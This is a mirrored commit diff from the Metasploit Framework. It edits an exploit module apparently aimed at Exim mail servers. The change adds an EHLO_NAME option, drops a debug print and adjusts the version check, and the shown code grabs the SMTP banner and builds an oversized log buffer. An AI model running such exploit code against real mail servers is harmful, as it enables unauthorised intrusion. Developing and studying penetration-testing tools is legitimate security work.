mirror of
https://github.com/rapid7/metasploit-framework
synced 2024-11-12 11:52:01 +01:00
add EHLO_NAME advanced option, remove debug print, fix version regex
git-svn-id: file:///home/svn/framework3/trunk@11280 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
parent
b5d44d1684
commit
5624c55599
@ -90,7 +90,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
], self.class)
|
||||
|
||||
register_advanced_options([
|
||||
OptString.new("SourceAddress", [false, "The IP or hostname of this system as the target will resolve it"])
|
||||
OptString.new("SourceAddress", [false, "The IP or hostname of this system as the target will resolve it"]),
|
||||
OptString.new('EHLO_NAME', [ false, 'The name to send in the EHLO', nil ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
@ -98,12 +99,13 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
#
|
||||
# Connect and grab the banner
|
||||
#
|
||||
ehlo = Rex::Text.rand_text_alphanumeric(8)
|
||||
ehlo = datastore['EHLO_NAME']
|
||||
ehlo ||= Rex::Text.rand_text_alphanumeric(8)
|
||||
connect
|
||||
print_status("Server: #{self.banner.strip}")
|
||||
ehlo_resp = raw_send_recv("EHLO #{ehlo}\r\n")
|
||||
|
||||
if self.banner =~ /Exim (4\.[789]\d)/
|
||||
if self.banner =~ /Exim (4\.6\d+)/
|
||||
print_error("Warning: Exim version #{$1} is not exploitable")
|
||||
end
|
||||
|
||||
@ -164,8 +166,6 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
log_buffer = "YYYY-MM-DD HH:MM:SS XXXXXX-YYYYYY-ZZ rejected from <#{from}> #{host_part} [#{source}]: message too big: read=#{msg_len} max=#{max_msg}\n"
|
||||
log_buffer << "Envelope-from: <#{from}>\nEnvelope-to: <#{to}>\n"
|
||||
|
||||
print_status("start log_buffer:\n" + log_buffer.inspect)
|
||||
|
||||
# Now, " " + hdrline for each header
|
||||
hdrs = []
|
||||
filler = rand_text_alphanumeric(8 * 16)
|
||||
|
Loading…
Reference in New Issue
Block a user